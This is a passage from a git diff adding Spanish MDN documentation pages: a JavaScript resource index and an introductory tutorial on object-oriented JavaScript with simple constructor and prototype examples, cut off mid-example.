+ <dt><a href="/es/docs/Web/JavaScript/A_re-introduction_to_JavaScript">Una reintroducción a JavaScript</a></dt>
+ <dd>Una descripción general para aquellos que <em>piensan</em> que saben JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/docs/Web/JavaScript/Data_structures">Estructuras de datos en JavaScript</a></dt>
+ <dd>Descripción general de las estructuras de datos disponibles en JavaScript.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Equality_comparisons_and_sameness">Comparaciones de igualdad y similaridad</a></dt>
+ <dd>JavaScript proporciona tres diferentes operadores de comparación de valores: igualdad estricta usando <code>===</code>, igualdad abstracta usando <code>==</code>, y el método {{jsxref("Global_Objects/Object/is", "Object.is()")}}.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Closures">Cierres (clousures)</a></dt>
+ <dd>
+ <p>Un cierre es la combinación de una función y un entorno léxico dentro del cual se declaró esa función.</p>
+ </dd>
+</dl>
+
+<h3 id="Avanzado">Avanzado</h3>
+
+<dl>
+ <dt><a href="/es/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Herencia y la cadena de prototipos</a></dt>
+ <dd>Explicación de la herencia basada en prototipos ampliamente incomprendida y subestimada.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Reference/Strict_mode">Modo estricto</a></dt>
+ <dd>El modo estricto define que no puedes usar ninguna variable antes de iniciarla. Es una variable restringida de ECMAScript 5, para un rendimiento más rápido y una depuración más fácil.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Typed_arrays">Arreglos escritos en JavaScript</a></dt>
+ <dd>Los arreglos escritos en JavaScript proveen un mecanismo para acceder a datos binarios sin formato.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Memory_Management">Gestión de la Memoria</a></dt>
+ <dd>Ciclo de vida de la memoria y recolección de basura en JavaScript.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/EventLoop">Modelo de Concurrencia y Bucle de Eventos</a></dt>
+ <dd>JavaScript tiene un modelo de concurrencia basado en un "bucle de eventos".</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Referencia">Referencia</h2>
+
+<p>Consulta la documentación completa de la <a href="/es/docs/Web/JavaScript/Reference">referencia de JavaScript</a>.</p>
+
+<dl>
+ <dt><a href="/es/docs/Web/JavaScript/Reference/Global_Objects">Objectos Estándar</a></dt>
+ <dd>Conoce los objectos estándar integrados {{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Error")}}, {{jsxref("Function")}}, {{jsxref("JSON")}}, {{jsxref("Math")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("RegExp")}}, {{jsxref("String")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}}, {{jsxref("WeakSet")}}, y otros.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Reference/Operators">Expresiones y operadores</a></dt>
+ <dd>Aprende más sobre el comportamiento de los operadores de JavaScript {{jsxref("Operators/instanceof", "instanceof")}}, {{jsxref("Operators/typeof", "typeof")}}, {{jsxref("Operators/new", "new")}}, {{jsxref("Operators/this", "this")}}, el <a href="/es/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">operador de precedencia</a>, y más.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Reference/Statements">Sentencias y declaraciones</a></dt>
+ <dd>Aprende cómo funciona {{jsxref("Statements/do...while", "do-while")}}, {{jsxref("Statements/for...in", "for-in")}}, {{jsxref("Statements/for...of", "for-of")}}, {{jsxref("Statements/try...catch", "try-catch")}}, {{jsxref("Statements/let", "let")}}, {{jsxref("Statements/var", "var")}}, {{jsxref("Statements/const", "const")}}, {{jsxref("Statements/if...else", "if-else")}}, {{jsxref("Statements/switch", "switch")}}, y más declaraciones y palabras reservadas de JavaScript.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Reference/Functions">Funciones</a></dt>
+ <dd>Aprende cómo trabajar con funciones de JavaScript para desarrollar tus aplicaciones.</dd>
+</dl>
+
+<h2 id="Herramientas_recursos">Herramientas &amp; recursos</h2>
+
+<p>Herramientas útiles para escribir y depurar tu código<strong> JavaScript</strong>.</p>
+
+<dl>
+ <dt><a href="/es/docs/Tools">Herramientas para Desarrolladores de Firefox</a></dt>
+ <dd><a href="/es/docs/Tools/Web_Console">Consola Web</a>, <a href="/es/docs/Tools/Profiler">Generador de Perfiles de JavaScript</a>, <a href="/es/docs/Tools/Debugger">Depurador</a>, y más.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Shells">Shells J</a><a href="/es/docs/Web/JavaScript/Shells">avaScript</a></dt>
+ <dd>Un shell de JavaScript te permite probar rápidamente fragmentos de código JavaScript.</dd>
+ <dt><a href="https://learnjavascript.online/">Aprende JavaScript</a></dt>
+ <dd>Un excelente recurso para aspirantes a desarrollador web — Aprendr JavaScript en un entorno interactivo, con lecciones cortas y pruebas interactivas, guiado por una evaluación automatizada. Las primeras 40 lecciones son gratis, y el curso completo está disponible por un pequeño pago único.</dd>
+ <dt><a href="https://togetherjs.com/">TogetherJS</a></dt>
+ <dd>La colaboración hecha fácil. Al agregar TogetherJS a tu sitio web, ¡tus usuarios pueden ayudarse mutuamente en un sitio web en tiempo real!</dd>
+ <dt><a href="https://stackoverflow.com/questions/tagged/javascript">Stack Overflow</a></dt>
+ <dd>Preguntas en Stack Overflow etiquetadas con "JavaScript".</dd>
+ <dt><a href="/es/docs/Web/JavaScript/New_in_JavaScript">Versiones de JavaScript y notas de lanzamiento</a></dt>
+ <dd>Explora el historial de características y el estado de implementación de JavaScript.</dd>
+ <dt><a href="https://jsfiddle.net/">JSFiddle</a></dt>
+ <dd>Edita JavaScript, CSS, HTML y obtén resultados en vivo. Usa recursos externos y colabora con tu equipo en línea.</dd>
+ <dt><a href="https://plnkr.co/">Plunker</a></dt>
+ <dd>Plunker es una comunidad en línea para crear, colaborar y compartir sus ideas de desarrollo web. Edita sus archivos JavaScript, CSS, HTML y obtén resultados en vivo y estructuras de archivos.</dd>
+ <dt><a href="https://jsbin.com/">JSBin</a></dt>
+ <dd>
+ <p>JSBin es una herramienta de depuración de desarrollo web colaborativo de código abierto.</p>
+ </dd>
+ <dt><a href="https://codepen.io/">Codepen</a></dt>
+ <dd>
+ <p>Codepen es otra herramienta colaborativa de desarrollo web usada como un espacio para mostrar resultados en vivo.</p>
+ </dd>
+ <dt><a href="https://stackblitz.com/">StackBlitz</a></dt>
+ <dd>
+ <p>StackBlitz es otra herramienta de depuración/visualización en línea, que puede alojar e implementar aplicaciones full-stack usando React, Angular, etc.</p>
+ </dd>
+</dl>
+</div>
+</div>
diff --git a/files/es/web/javascript/introducción_a_javascript_orientado_a_objetos/index.html b/files/es/web/javascript/introducción_a_javascript_orientado_a_objetos/index.html
new file mode 100644
index 0000000000..51f5ad98c9
--- /dev/null
+++ b/files/es/web/javascript/introducción_a_javascript_orientado_a_objetos/index.html
@@ -0,0 +1,384 @@
+---
+title: Introducción a JavaScript orientado a objetos
+slug: Web/JavaScript/Introducción_a_JavaScript_orientado_a_objetos
+tags:
+  - Constructor
+  - Herencia
+  - JavaScript
+  - Objetos
+  - Orientado a objetos
+  - POO
+  - espacio de nombres
+translation_of: Learn/JavaScript/Objects
+---
+<p>{{jsSidebar("Introductory")}}</p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-2"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><strong>JavaScript</strong> dispone de fuertes capacidades de programación orientada a objetos, a pesar de que han tenido lugar algunos debates respecto a las diferencias de sus capacidades en comparación con otros lenguajes.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Este artículo comienza con una Introducción a la programación orientada a objetos, luego examina el modelo de objetos de JavaScript, y finalmente, muestra los conceptos de programación orientada a objetos en JavaScript.</span></span></p>
+
+<h2 id="JavaScript_Review" name="JavaScript_Review"><span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Revisión de JavaScript</span></span></h2>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si no te sientes seguro acerca de los conceptos de JavaScript tales como variables, tipos, funciones y el ámbito de aplicación, puedes leer sobre estos temas en: <a href="/en/JavaScript/A_re-introduction_to_JavaScript" title="en/JavaScript/A re-introduction to JavaScript">Una nueva introducción a JavaScript</a> .</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">También puedes consultar la <a href="/en/JavaScript/Guide" title="en/JavaScript/Guide">Guía de JavaScript 1.5</a>.</span></span></p>
+
+<h2 id="Object-oriented_programming" name="Object-oriented_programming"><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Programación orientada a objetos</span></span></h2>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La programación orientada a objetos es un paradigma de programación que utiliza la abstracción para crear modelos basados ​​en el mundo real.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Utiliza diversas técnicas de paradigmas previamente establecidas, incluyendo la <strong>modularidad</strong>, <strong>polimorfismo</strong> y <strong>encapsulamiento</strong>.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Hoy en día, muchos lenguajes de programación (como Java, JavaScript, C#, C++, Python, PHP, Ruby y Objective-C) soportan programación orientada a objetos (POO).</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La programación orientada a objetos puede considerarse como el diseño de software a través de un conjunto de objetos que cooperan, a diferencia de un punto de vista tradicional en el que un programa puede considerarse como un conjunto de funciones, o simplemente como una lista de instrucciones para la computadora.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">En la programación orientada a objetos, cada objeto es capaz de recibir mensajes, procesar datos y enviar mensajes a otros objetos.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Cada objeto puede verse como una pequeña máquina independiente con un papel o responsabilidad definida.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">POO pretende promover una mayor flexibilidad y facilidad de mantenimiento en la programación y es muy popular en la ingeniería de software a gran escala.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Gracias a su fuerte énfasis en la modularidad, el código orientado a objetos está concebido para ser más fácil de desarrollar y más fácil de entender posteriormente, prestándose a un análisis más directo, a una mayor codificación y comprensión de situaciones y procedimientos complejos que otros métodos de programación menos modulares. <sup><a href="/#Referencia" title="#Referencia">2</a></sup></span></span></p>
+
+<h2 id="Terminology" name="Terminology"><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Terminología</span></span></h2>
+
+<dl>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Clase</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Define las características del Objeto.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Objeto</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Una instancia de una Clase.</span></span></dd>
+ <dt><span style="line-height: 1.5;">Propiedad</span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Una característica del Objeto, como el color.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-25"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Método</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Una capacidad del Objeto, como caminar.</span></span></dd>
+</dl>
+
+<dl>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Constructor</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Es un método llamado en el momento de la creación de instancias.</span></span></dd>
+ <dt><span style="line-height: 1.5;">Herencia</span></dt>
+ <dd><span class="goog-gtc-unit"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Una Clase puede heredar características de otra Clase.</span></span></dd>
+</dl>
+
+<dl>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-29"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Encapsulamiento</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-30"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Una Clase sólo define las características del Objeto, un Método sólo define cómo se ejecuta el Método.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-31"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Abstracción</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-32"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">La conjunción de herencia compleja, métodos y propiedades que un objeto debe ser capaz de simular en un modelo de la realidad.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-33"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Polimorfismo</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Diferentes Clases podrían definir el mismo método o propiedad.</span></span></dd>
+</dl>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-35"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Para una descripción más extensa de programación orientada a objetos, consulta <a class="external" href="http://es.wikipedia.org/wiki/Programaci%C3%B3n_orientada_a_objetos" title="http://es.wikipedia.org/wiki/Programación_orientada_a_objetos">Programación orientada a objetos</a> en Wikipedia.</span></span></p>
+
+<h2 id="Programación_basada_​​en_prototipos"><span class="goog-gtc-unit" id="goog-gtc-unit-36"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Programación basada ​​en prototipos</span></span></h2>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-37"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La programación basada ​​en prototipos es un estilo de programación orientada a objetos en la que las clases no están presentes y la reutilización de comportamiento (conocido como herencia en lenguajes basados ​​en clases) se lleva a cabo a través de un proceso de decoración de objetos existentes que sirven de prototipos.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-38"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Este modelo también se conoce como programación sin clases, orientada a prototipos o basada en ejemplos.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-39"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El ejemplo original (y más canónico) de un lenguaje basado en prototipos es el lenguaje de programación <a href="https://en.wikipedia.org/wiki/Self_%28programming_language%29">Self</a> desarrollado por David Ungar y Randall Smith.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-40"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Sin embargo, el estilo de programación sin clases se ha hecho cada vez más popular y ha sido adoptado para lenguajes de programación como JavaScript, Cecil, NewtonScript, Io, MOO, REBOL, Kevo, Squeak (cuando se utiliza el Viewer framework para manipular los componentes Morphic) y varios otros. <sup><a href="/#Referencia" title="#Referencia">2</a></sup></span></span></p>
+
+<h2 id="JavaScript_Object_Oriented_Programming" name="JavaScript_Object_Oriented_Programming"><span class="goog-gtc-unit" id="goog-gtc-unit-41"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Programación orientada a objetos de JavaScript </span></span></h2>
+
+<h3 id="Core_Objects" name="Core_Objects"><span style="font-size: 1.714285714285714rem;">Namespace</span></h3>
+
+<p>Un <strong>espacio de nombres</strong> es un contenedor que permite asociar toda la funcionalidad de un determinado objeto con un nombre único. En JavaScript un espacio de nombres es un objeto que permite a métodos, propiedades y objetos asociarse. La idea de crear espacios de nombres en JavaScript es simple: Crear un único objeto global para las variables, métodos, funciones convirtiendolos en propiedades de ese objeto. El uso de los namespace permite minimizar el conflicto de nombres con otros objetos haciéndolos únicos dentro de nuestra aplicación.</p>
+
+<div>Un <strong>espacio de nombres</strong> es un objeto: </div>
+
+<div><br>
+<span style="line-height: 1.5;">Vamos a crear un objeto global llamado MIAPLICACION</span></div>
+
+<div> </div>
+
+<pre class="brush: js">// namespace global
+
+var MIAPLICACION = MIAPLICACION || {};</pre>
+
+<div> </div>
+
+<div class="note">
+<p><strong>Nota:</strong> Para continuar con las mejores prácticas vamos a utilizar mayúsculas para los namespace.</p>
+</div>
+
+<div>
+<div>En el código de ejemplo anterior comprobamos si MIAPLICACION ya se encuentra definida. Si es así utilizamos el objeto global MIAPLICACION que existe; si este no existe creamos un objeto vacío llamado MIAPLICACION que encapsulará métodos, funciones, variables y otros objetos que vayamos a crear.</div>
+
+<div> </div>
+
+<div>También podemos crear <strong>Sub-espacios de nombres</strong>:</div>
+
+<div> </div>
+
+<pre class="brush: js">// Sub-namespace
+
+MIAPLICACION.event = {} ;</pre>
+</div>
+
+<div>A continuación se muestra el código para la creación de un <strong>espacio de nombre</strong> y cómo agregar variables, funciones y métodos:</div>
+
+<div> </div>
+
+<pre class="brush: js">// Creación del contenedor llamado MIAPLICACION.metodoComun de método y propiedades comunes.
+MIAPLICACION.metodoComun = {
+  regExParaNombre: "", // define regex para la validación del nombre
+  regExParaTelefono: "", // define regex para validación del teléfono
+  validaNombre: function(nombre){
+    // Hace algo con el nombre que usted ingresa a la variable reExParaNombre
+    // usando "this.regExParaNombre"
+  },
+
+  validaNroTelefono: function (numTelefono){
+    // Hace algo con el número de teléfono
+  }
+}
+
+// Objeto junto a la declaración del método
+MIAPLICACION.event = {
+  addListener: function(el, type, fn){
+    // código de relleno
+  },
+  removeListener: function(el, type, fn){
+    // código de relleno
+  },
+  getEvent: function(e) {
+    // código de relleno
+  }
+
+  // Puedes agregar otras propiedades y métodos
+}
+
+// Sintaxis de utilización del método addListener:
+MIAPLICACION.event.addListener("turel", "tipo", callback);
+
+
+</pre>
+
+<div>
+<h3 id="Core_Objects" name="Core_Objects" style="line-height: 24px;"><span style="font-size: 1.714285714285714rem;">Objetos básicos</span></h3>
+</div>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-43"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">JavaScript tiene varios objetos incluidos en su núcleo, como Math, Object, Array y String.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-44"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El siguiente ejemplo muestra cómo utilizar el objeto Math para obtener un número al azar mediante el uso de su método <code>random()</code>.</span></span></p>
+
+<pre class="brush: js"><span class="goog-gtc-unit" id="goog-gtc-unit-45"><span class="brush: js" dir="ltr">alert (Math.random ());</span></span>
+</pre>
+
+<div class="note"><span class="goog-gtc-unit" id="goog-gtc-unit-46"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><strong>Nota:</strong> este y todos los demás ejemplos suponen que una función llamada <code>alert</code> (como el que se incluye en los navegadores web) se define de forma global.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-47"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La función <code>alert</code> no es realmente parte de JavaScript.</span></span></div>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-48"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Consulta <a href="/En/Core_JavaScript_1.5_Reference/Global_Objects" title="En/Core JavaScript 1.5 Reference/Global Objects">Core JavaScript 1.5 Reference:Global Objects</a> para obtener una lista de los objetos básicos en JavaScript.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-49"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Cada objeto en JavaScript es una instancia del objeto <code>Object</code>, por lo tanto, hereda todas sus propiedades y métodos.</span></span></p>
+
+<h3 id="Custom_Objects" name="Custom_Objects"><span class="goog-gtc-unit" id="goog-gtc-unit-50"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Objetos personalizados</span></span></h3>
+
+<h4 id="The_Class" name="The_Class"><span class="goog-gtc-unit" id="goog-gtc-unit-51"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">La clase</span></span></h4>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-52"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">JavaScript es un lenguaje basado en prototipos que no contiene ninguna declaración de clase, como se encuentra, por ejemplo, en C + + o Java.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-53"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Esto es a veces confuso para los programadores acostumbrados a los lenguajes con una declaración de clase.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-54"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">En su lugar, JavaScript utiliza funciones como clases.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-55"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Definir una clase es tan fácil como definir una función.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-56"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">En el ejemplo siguiente se define una nueva clase llamada <strong>Persona</strong>.</span></span></p>
+
+<pre class="brush: js"><span class="goog-gtc-unit" id="goog-gtc-unit-57"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">function Persona() { }</span></span>
+</pre>
+
+<h4 id="The_Object_.28Class_Instance.29" name="The_Object_.28Class_Instance.29"><span class="goog-gtc-unit" id="goog-gtc-unit-58"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El objeto (ejemplo de clase)</span></span></h4>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-59"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Para crear un nuevo ejemplo de un objeto <em><code>obj</code></em> utilizamos la declaración <code>new <em>obj</em></code> , asignando el resultado (que es de tipo <em><code>obj</code></em> ) a una variable para tener acceso más tarde.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-60"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">En el siguiente ejemplo se define una clase llamada <code>Persona</code> y creamos dos instancias ( <code>persona1</code> y <code>persona2</code> ).</span></span></p>
+
+<pre class="brush: js">function Persona() {
+}
+
+var persona1 = new Persona();
+var persona2 = new Persona();</pre>
+
+<div class="note"><span class="goog-gtc-unit" id="goog-gtc-unit-64"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Por favor, consulta también <a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="en/JavaScript/Reference/Global Objects/Object/create">Object.create</a> para ver un método nuevo y alternativo de creación de ejemplos.</span></span></div>
+
+<h4 id="The_Constructor" name="The_Constructor"><span class="goog-gtc-unit" id="goog-gtc-unit-65"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El constructor</span></span></h4>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-66"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El constructor es llamado en el momento de la creación de la instancia (el momento en que se crea la instancia del objeto).</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-67"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">El constructor es un método de la clase.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-68"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">En JavaScript, la función sirve como el constructor del objeto, por lo tanto, no hay necesidad de definir explícitamente un método constructor.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-69"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Cada acción declarada en la clase es ejecutada en el momento de la creación de la instancia.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-70"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El constructor se usa para establecer las propiedades del objeto o para llamar a los métodos para preparar el objeto para su uso. Más adelante describiremos como agregar </span></span><span class="goog-gtc-unit" id="goog-gtc-unit-71"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">métodos a clase y sus definiciones ya que se realiza utilizando una sintaxis diferente.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-72"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">En el siguiente ejemplo, el constructor de la clase <code>Persona</code> muestra un alerta que dice (<strong>Una instancia de persona)</strong> cuando se crea la instancia de la clase <code>Persona</code>.</span></span></p>
+
+<pre class="brush: js">function Persona() {
+  alert('Una instancia de Persona');
+}
+
+var persona1 = new Persona();
+var persona2 = new Persona();</pre>
+
+<h4 id="The_Property_.28object_attribute.29" name="The_Property_.28object_attribute.29"><span class="goog-gtc-unit" id="goog-gtc-unit-78"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">La propiedad (atributo del objeto)</span></span></h4>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-79"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Las propiedades son variables contenidas en la clase, cada instancia del objeto tiene dichas propiedades.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-80"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Las propiedades deben establecerse a la propiedad prototipo de la clase (función), para que la herencia funcione correctamente.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-81"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Para trabajar con propiedades dentro de la clase se utiliza la palabra reservada <strong><code>this</code></strong> , que se refiere al objeto actual.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-82-goog-gtc-unit-83"><span class="goog-gtc-from-human goog-gtc-translatable">El acceso (lectura o escritura) a una propiedad desde fuera de la clase se hace con la sintaxis: <strong>NombreDeLaInstancia<code>.Propiedad</code></strong>. Es la misma sintaxis utilizada por C++, Java y algunos lenguajes más.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-84-goog-gtc-unit-85"><span class="goog-gtc-from-human goog-gtc-translatable">(Desde dentro de la clase la sintaxis es <strong><code>this.</code><code>Propiedad</code></strong> que se utiliza para obtener o establecer el valor de la propiedad).</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-86"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">En el siguiente ejemplo definimos la propiedad <font face="Courier New, Andale Mono, monospace"><strong>primerNombre </strong></font>de la clase <code>Persona</code> y la definimos en la creación de la instancia.</span></span></p>
+
+<pre class="brush: js">function Persona(primerNombre) {
+  this.primerNombre = primerNombre;
+  alert('Una instancia de Persona');
+}
+
+var persona1 = new Persona("Alicia");
+var persona2 = new Persona("Sebastian");
+
+// Muestra el primer nombre de persona1
+alert ('persona1 es ' + persona1.primerNombre); // muestra "persona1 es Alicia"
+alert ('persona2 es ' + persona2.primerNombre); // muestra "persona2 es Sebastian"</pre>
+
+<h4 id="The_methods" name="The_methods"><span class="goog-gtc-unit" id="goog-gtc-unit-96"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Los métodos</span></span></h4>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-97"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Los métodos siguen la misma lógica que las propiedades, la diferencia es que son funciones y se definen como funciones.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-98"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Llamar a un método es similar a acceder a una propiedad, pero se agrega <code>()</code> al final del nombre del método, posiblemente con argumentos.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-99"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">En el siguiente ejemplo se define y utiliza el método diHola<code>()</code> para la clase <code>Persona</code>.</span></span></p>
+
+<pre class="brush: js">function Persona(primerNombre) {
+  this.primerNombre = primerNombre;
+}
+
+Persona.prototype.diHola = function() {
+  alert ('Hola, Soy ' + this.primerNombre);
+};
+
+var persona1 = new Persona("Alicia");
+var persona2 = new Persona("Sebastian");
+
+// Llamadas al método diHola de la clase Persona.
+persona1.diHola(); // muestra "Hola, Soy Alicia"
+persona2.diHola(); // muestra "Hola, Soy Sebastian"</pre>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-113"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">En JavaScript los métodos son objetos como lo es una función normal y se vinculan a un objeto como lo hace una propiedad, lo que significa que se pueden invocar desde "fuera de su contexto".</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-114"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Considera el siguiente código de ejemplo:</span></span></p>
+
+<pre class="brush: js">function Persona(primerNombre) {
+  this.primerNombre = primerNombre;
